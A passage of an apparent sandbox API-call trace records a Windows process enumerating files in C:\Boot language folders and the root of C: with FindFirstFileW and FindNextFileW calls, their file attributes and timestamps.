ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.933] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.933] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0052.933] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.933] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0052.933] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.934] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.934] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0052.934] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0052.934] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.934] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.935] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0052.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.935] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0052.935] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0053.437] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.443] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.468] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.468] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0053.468] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0053.468] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0053.468] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0053.468] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260580 [0053.468] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x4260580, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.469] FindClose (in: hFindFile=0x4260580 | out: hFindFile=0x4260580) returned 1 [0053.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0053.469] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0053.469] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.469] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0053.469] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0053.469] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0053.469] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42601c0 [0053.470] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.470] FindClose (in: hFindFile=0x42601c0 | out: hFindFile=0x42601c0) returned 1 [0053.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0053.470] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0053.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0053.470] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="\xc760\x72\x16")) returned 0xffffffff [0053.470] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0053.470] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, 